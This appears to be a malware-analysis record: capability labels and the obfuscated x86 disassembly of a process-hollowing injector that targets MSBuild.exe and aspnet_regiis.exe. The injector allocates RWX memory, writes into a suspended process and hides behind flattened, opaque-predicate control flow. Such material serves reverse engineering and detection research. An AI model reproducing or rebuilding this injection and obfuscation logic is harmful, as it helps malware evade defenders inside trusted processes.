Function at 0x10015500
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x1009a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0x75e8846a
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x82ecb9f0
je 0x1001aeab
jmp 0x1001553c
mov eax, dword [ebp - 0x10c]
sub eax, 0x834e5827
je 0x10017652
jmp 0x10015552
mov eax, dword [ebp - 0x10c]
sub eax, 0x84ac9211
je 0x1001a1d8
jmp 0x10015568
mov eax, dword [ebp - 0x10c]
sub eax, 0x84bd4738
je 0x1001b62a
jmp 0x1001557e
mov eax, dword [ebp - 0x10c]
sub eax, 0x84c279db
je 0x1001799e
jmp 0x10015594
mov eax, dword [ebp - 0x10c]
sub eax, 0x874eb641
je 0x10019198
jmp 0x100155aa
mov eax, dword [ebp - 0x10c]
sub eax, 0x87668d1c
je 0x1001b7e6
jmp 0x100155c0
mov eax, dword [ebp - 0x10c]
sub eax, 0x89f40aff
je 0x1001b532
jmp 0x100155d6
mov eax, dword [ebp - 0x10c]
sub eax, 0x8ac58b3a
je 0x1001b669
jmp 0x100155ec
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b724f5b
je 0x100185fa
jmp 0x10015602
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d06bf60
je 0x10018836
jmp 0x10015618
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d7617a7
je 0x1001b399
jmp 0x1001562e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d9532f6
je 0x10018c3b
jmp 0x10015644
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e1da492
je 0x1001792c
jmp 0x1001565a
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f28e8b7
je 0x1001b55f
jmp 0x10015670
mov eax, dword [ebp - 0x10c]
sub eax, 0x906f8d72
je 0x1001900e
jmp 0x10015686
mov eax, dword [ebp - 0x10c]
sub eax, 0x925030f8
je 0x1001b70a
jmp 0x1001569c
mov eax, dword [ebp - 0x10c]
sub eax, 0x929b6841
je 0x10018716
jmp 0x100156b2
mov eax, dword [ebp - 0x10c]
sub eax, 0x92fc5a0f
je 0x1001b648
jmp 0x100156c8
mov eax, dword [ebp - 0x10c]
sub eax, 0x959f2229
je 0x10019cef
jmp 0x100156de
mov eax, dword [ebp - 0x10c]
sub eax, 0x964a4b26
je 0x10017819
jmp 0x100156f4
mov eax, dword [ebp - 0x10c]
sub eax, 0x978505ea
je 0x1001886a
jmp 0x1001570a
mov eax, dword [ebp - 0x10c]
sub eax, 0x99370e0c
je 0x100192e3
jmp 0x10015720
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d0b25b0
je 0x1001a57e
jmp 0x10015736
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d6235cc
je 0x10019790
jmp 0x1001574c
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d64dc6b
je 0x10017e29
jmp 0x10015762
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ec2ac13
je 0x10018854
jmp 0x10015778
mov eax, dword [ebp - 0x10c]
sub eax, 0x9fbd6ba7
je 0x10019fe8
jmp 0x1001578e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa04723f7
je 0x1001b3c5
jmp 0x100157a4
mov eax, dword [ebp - 0x10c]
sub eax, 0xa09cbfea
je 0x10019bd7
jmp 0x100157ba
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0c3db6c
je 0x1001b35e
jmp 0x100157d0
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1298d9a
je 0x10017832
jmp 0x100157e6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1b70c0b
je 0x10018618
jmp 0x100157fc
mov eax, dword [ebp - 0x10c]
sub eax, 0xa28a68e9
je 0x1001b57d
jmp 0x10015812
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3a3d4fe
je 0x1001a37f
jmp 0x10015828
mov eax, dword [ebp - 0x10c]
sub eax, 0xa410704c
je 0x1001a68d
jmp 0x1001583e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa533cb86
je 0x1001b28c
jmp 0x10015854
mov eax, dword [ebp - 0x10c]
sub eax, 0xa56c89a7
je 0x100180a4
jmp 0x1001586a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa6207300
je 0x10017719
jmp 0x10015880
mov eax, dword [ebp - 0x10c]
sub eax, 0xa64864dc
je 0x10017506
jmp 0x10015896
mov eax, dword [ebp - 0x10c]
sub eax, 0xa74643b5
je 0x1001aaa5
jmp 0x100158ac
mov eax, dword [ebp - 0x10c]
sub eax, 0xa7e612ea
je 0x1001b27d
jmp 0x100158c2
mov eax, dword [ebp - 0x10c]
sub eax, 0xa84d3bba
je 0x10017f0d
jmp 0x100158d8
mov eax, dword [ebp - 0x10c]
sub eax, 0xa8ce26c6
je 0x100180d8
jmp 0x100158ee
mov eax, dword [ebp - 0x10c]
sub eax, 0xa8d9ba91
je 0x1001ab35
jmp 0x10015904
mov eax, dword [ebp - 0x10c]
sub eax, 0xa8f8d734
je 0x1001b58f
jmp 0x1001591a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa976b062
je 0x1001868e
jmp 0x10015930
mov eax, dword [ebp - 0x10c]
sub eax, 0xaa759a7c
je 0x1001840c
jmp 0x10015946
mov eax, dword [ebp - 0x10c]
sub eax, 0xaccfe34e
je 0x10019445
jmp 0x1001595c
mov eax, dword [ebp - 0x10c]
sub eax, 0xada768fb
je 0x1001a9d1
jmp 0x10015972
mov eax, dword [ebp - 0x10c]
sub eax, 0xae43fa61
je 0x1001b34f
jmp 0x10015988
mov eax, dword [ebp - 0x10c]
sub eax, 0xae533303
je 0x1001ad0e
jmp 0x1001599e
mov eax, dword [ebp - 0x10c]
sub eax, 0xafb8b960
je 0x10017dc9
jmp 0x100159b4
mov eax, dword [ebp - 0x10c]
sub eax, 0xb0df6bcf
je 0x100182f3
jmp 0x100159ca
mov eax, dword [ebp - 0x10c]
sub eax, 0xb1975ad0
je 0x1001b1fa
jmp 0x100159e0
mov eax, dword [ebp - 0x10c]
sub eax, 0xb21f3ca6
je 0x1001a644
jmp 0x100159f6
mov eax, dword [ebp - 0x10c]
sub eax, 0xb2d67c24
je 0x1001991f
jmp 0x10015a0c
mov eax, dword [ebp - 0x10c]
sub eax, 0xb4327f2e
je 0x10018845
jmp 0x10015a22
mov eax, dword [ebp - 0x10c]
sub eax, 0xb498af9c
je 0x10019893
jmp 0x10015a38
mov eax, dword [ebp - 0x10c]
sub eax, 0xb4da6222
je 0x10018a25
jmp 0x10015a4e
mov eax, dword [ebp - 0x10c]
sub eax, 0xb641b06e
je 0x10017643
jmp 0x10015a64
mov eax, dword [ebp - 0x10c]
sub eax, 0xb7eccd23
je 0x1001a814
jmp 0x10015a7a
mov eax, dword [ebp - 0x10c]
sub eax, 0xb98ad996
je 0x1001b6fb
jmp 0x10015a90
mov eax, dword [ebp - 0x10c]
sub eax, 0xb9bb9765
je 0x1001a050
jmp 0x10015aa6
mov eax, dword [ebp - 0x10c]
sub eax, 0xbdba48c0
je 0x100192b0
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
add edx, 0x14de3c65
sub edx, 1
sub edx, 0x14de3c65
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6e69487
mov ecx, 0x55f90e0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0x834e5827
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0x80aeb73c
sub edx, 1
add edx, 0x80aeb73c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d285e91
mov ecx, 0xc324740b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0xe08a5765
jmp 0x1001b805
mov dword [ebp - 0xf0], 0xefb8ef4
mov dword [ebp - 0x108], 0xa1298d9a
jmp 0x1001b805
mov dword [ebp - 0x108], 0xd3cd87c2
jmp 0x1001b805
mov dl, byte [ebp - 0x91]
mov eax, 0x7c69e6f6
mov ecx, 0x5a1c327d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x90], eax
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0x3eb2a4f7
sub edx, 1
add edx, 0x3eb2a4f7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2abb248
mov ecx, 0x1fdd292e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
add edx, 0xb905004d
sub edx, 1
sub edx, 0xb905004d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd68f7177
mov ecx, 0x3b94ecae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
add edx, 0x7cfa5b2f
sub edx, 1
sub edx, 0x7cfa5b2f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d7617a7
mov ecx, 0xdcd2271e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0x1732499
jmp 0x1001b805
mov dword [ebp - 0x108], 0x2433b71f
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0x5c4f1655
sub edx, 1
add edx, 0x5c4f1655
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa04723f7
mov ecx, 0x5de612a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x108], 0xc3458976
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
add edx, 0x2d8e5cf6
sub edx, 1
sub edx, 0x2d8e5cf6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e7b6890
mov ecx, 0x59134e98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0xf5febd78
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0xe3cf4677
sub edx, 1
add edx, 0xe3cf4677
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a6b1fe0
mov ecx, 0xa976b062
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov byte [ebp - 0xf9], 0
mov al, byte [ebp - 0xf9]
and al, 1
mov byte [ebp - 0x7f], al
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
add edx, 0xca5f6ebe
sub edx, 1
sub edx, 0xca5f6ebe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4a6b1fe0
mov ecx, 0x929b6841
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0x61760cd2
jmp 0x1001b805
mov dword [ebp - 0x108], 0xb4327f2e
jmp 0x1001b805
mov dword [ebp - 0x108], 0x1d055484
jmp 0x1001b805
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x108], 0x978505ea
jmp 0x1001b805
xor eax, eax
mov dl, al
mov eax, 0x34671aea
mov ecx, 0x7015245a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0xda5c1d06
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc462a705
mov ecx, 0x19553b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
sub edx, 0x93654acf
sub edx, 1
add edx, 0x93654acf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2aa2a504
mov ecx, 0x3a48eade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dl, byte [ebp - 0x7e]
mov eax, 0x36567a92
mov ecx, 0x118199c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
sub edx, 0xec7d6e13
sub edx, 1
add edx, 0xec7d6e13
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89f40aff
mov ecx, 0xd1afa35b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0x4e191a78
sub edx, 1
add edx, 0x4e191a78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ffc557c
mov ecx, 0xf5ad9362
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0x64adc502
jmp 0x1001b805
mov dl, byte [ebp - 0x76]
mov eax, 0x6dcd3330
mov ecx, 0x2dd1ad2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x100], eax
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
sub edx, 0x9b08d831
sub edx, 1
add edx, 0x9b08d831
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8f8d734
mov ecx, 0x3d3cab76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x108], 0xf7e66917
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a85367e
mov ecx, 0x57c2c329
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee6
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
sub edx, 0x9ed21159
sub edx, 1
add edx, 0x9ed21159
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92fc5a0f
mov ecx, 0xb9bb9765
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0x195afecd
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
mov edx, eax
add edx, 0x8085324f
sub edx, 1
sub edx, 0x8085324f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ed7b490
mov ecx, 0x6c75db17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0xf147360f
jmp 0x1001b805
mov dl, byte [ebp - 0x59]
mov eax, 0xfb6ecc06
mov ecx, 0x44043a89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xc8]
mov byte [eax], cl
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dl, byte [eax]
mov eax, 0xa410704c
mov ecx, 0x7b669e50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x19f83eb
jmp 0x1001b805
mov eax, dword [0x1009b66c]
mov ecx, dword [0x1009b668]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6714fae
mov ecx, 0xf27f0867
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x108], 0x34da5cea
jmp 0x1001b805
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x4c]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov dword [ebp - 0x108], 0xfe40a61b
jmp 0x1001b805
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xac]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x108], 0x3999711c
jmp 0x1001b805
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
mov edx, ecx
sub edx, 0x55633d9c
sub edx, 1
add edx, 0x55633d9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x925030f8
mov ecx, 0x733bbd51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xe81069fb
jmp 0x1001b805
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1009b66c]
mov eax, dword [0x1009b668]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x87668d1c
mov ecx, 0xa7e612ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001b805
mov dword [ebp - 0x108], 0xa533cb86
jmp 0x1001b805
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x108], 0xfb6ecc06
jmp 0x1001b805
mov dword [ebp - 0x108], 0x5686a419
jmp 0x1001b805
mov byte [ebp - 0xf1], 0
mov dword [ebp - 0x108], 0x7c8e19b0
jmp 0x1001b805
mov byte [ebp - 0xf1], 1
mov dword [ebp - 0x108], 0xdcd2271e
jmp 0x1001b805
mov dword [ebp - 0x108], 0x5de612a7
jmp 0x1001b805
mov dword [ebp - 0x108], 0xd1afa35b
jmp 0x1001b805
mov dword [ebp - 0x108], 0x1cee9688
jmp 0x1001b805
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x108], 0xdc5abf34
jmp 0x1001b805
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x108], 0xb2d67c24
jmp 0x1001b805
mov dword [ebp - 0x108], 0xce4d0e88
jmp 0x1001b805
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee6
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x108], 0x9fbd6ba7
jmp 0x1001b805
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee2
mov dword [ebp - 0x108], 0xdf0d4768
jmp 0x1001b805
mov dword [ebp - 0x108], 0x5bab0219
jmp 0x1001b805
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
sub ecx, 0xf9bbcd3a
add ecx, 8
add ecx, 0xf9bbcd3a
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x108], 0x733bbd51
jmp 0x1001b805
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x108], 0xb1975ad0
jmp 0x10015520